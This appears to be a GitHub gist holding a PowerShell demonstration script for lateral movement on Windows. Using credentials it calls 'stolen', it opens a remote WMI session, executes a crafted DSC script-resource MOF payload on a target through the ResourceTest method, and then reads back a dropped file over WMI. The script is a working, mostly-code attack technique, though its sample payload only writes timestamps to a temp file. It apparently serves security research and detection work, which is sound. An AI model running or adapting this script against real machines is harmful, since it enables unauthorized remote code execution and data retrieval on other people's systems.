Skip to content

Instantly share code, notes, and snippets.

@mattifestation
Created August 29, 2018 20:57
Show Gist options
  • Star 9 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save mattifestation/89bfacc2435bd9d2f82a8205ea984d1d to your computer and use it in GitHub Desktop.
Save mattifestation/89bfacc2435bd9d2f82a8205ea984d1d to your computer and use it in GitHub Desktop.
Demo showing DSC being used for lateral movement over WMI in addition to using WMI for remote file retrieval
# Specify the credentials of your target
$Credential = Get-Credential -Credential TestUser
$ComputerName = 'TestTarget'
# Change this to false if you want to test the payload locally
$ExecuteRemotely = $True
Write-Warning 'Step 1: Converting the MOF payload to a byte array'
Start-Sleep -Seconds 3
$MOFContents = @'
instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
{
ResourceID = "[Script]ScriptExample";
GetScript = "\"$(Get-Date): I am being GET\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
TestScript = "\"$(Get-Date): I am being TESTED\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
SetScript = "\"$(Get-Date): I am being SET\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
SourceInfo = "::3::5::Script";
ModuleName = "PsDesiredStateConfiguration";
ModuleVersion = "1.0";
ConfigurationName = "ScriptTest";
};
instance of OMI_ConfigurationDocument
{
Version="2.0.0";
MinimumCompatibleVersion = "1.0.0";
CompatibleVersionAdditionalProperties= {"Omi_BaseResource:ConfigurationName"};
Author="TestUser";
GenerationDate="02/26/2018 07:09:21";
GenerationHost="TestHost";
Name="ScriptTest";
};
'@
$NormalizedMOFContents = [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))
$NormalizedMOFBytes = [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)
$TotalSize = [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)
if ($ExecuteRemotely) {
# Prepend the length of the payload
[Byte[]] $MOFBytes = $TotalSize + $NormalizedMOFBytes
} else {
# If executing locally, you do not prepend the payload length
[Byte[]] $MOFBytes = $NormalizedMOFBytes
}
Write-Warning 'Step 2: Establish a remote CIM/WMI session with the target using the "stolen" credentials'
Start-Sleep -Seconds 3
# Establish a remote WMI session with the target system
$RemoteCIMSession = New-CimSession -ComputerName $ComputerName -Credential $Credential -Authentication Negotiate
Write-Warning 'Step 3: Invoke the script resource on the target system'
Start-Sleep -Seconds 3
$LCMClass = Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration -ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession
if ($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) {
# You may now proceed with lateral movement
$MethodArgs = @{
ModuleName = 'PSDesiredStateConfiguration'
ResourceType = 'MSFT_ScriptResource'
resourceProperty = $MOFBytes
}
$Arguments = @{
Namespace = 'root/Microsoft/Windows/DesiredStateConfiguration'
ClassName = 'MSFT_DSCLocalConfigurationManager'
MethodName = 'ResourceTest'
Arguments = $MethodArgs
CimSession = $RemoteCIMSession
}
# Invoke the DSC script resource Test method
# Sucessful execution will be indicated by "InDesiredState" returning True and ReturnValue returning 0.
Invoke-CimMethod @Arguments
} else {
Write-Warning 'The DSC lateral movement method is not avilable on the remote system.'
}
Write-Warning 'Step 4: Use WMI to remotely retrieve the file that was dropped.'
Start-Sleep -Seconds 3
# The file that was dropped on the remote target.
# We're going to remotely retrieve its contents using just WMI using the existing CIM session.
$FilePath = 'C:\Windows\Temp\scriptrun.txt'
# PS_ModuleFile only implements GetInstance (versus EnumerateInstance) so this trick below will force a "Get" operation versus the default "Enumerate" operation.
$PSModuleFileClass = Get-CimClass -Namespace ROOT/Microsoft/Windows/Powershellv3 -ClassName PS_ModuleFile -CimSession $RemoteCIMSession
$InMemoryModuleFileInstance = New-CimInstance -CimClass $PSModuleFileClass -Property @{ InstanceID= $FilePath } -ClientOnly
$FileContents = Get-CimInstance -InputObject $InMemoryModuleFileInstance -CimSession $RemoteCIMSession
$FileLengthBytes = $FileContents.FileData[0..3]
[Array]::Reverse($FileLengthBytes)
$FileLength = [BitConverter]::ToUInt32($FileLengthBytes, 0)
$FileBytes = $FileContents.FileData[4..($FileLength - 1)]
# Print the contents of the file!
[Text.Encoding]::Unicode.GetString($FileBytes)
Write-Warning 'Step 5: Profit!'
Start-Sleep -Seconds 3
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment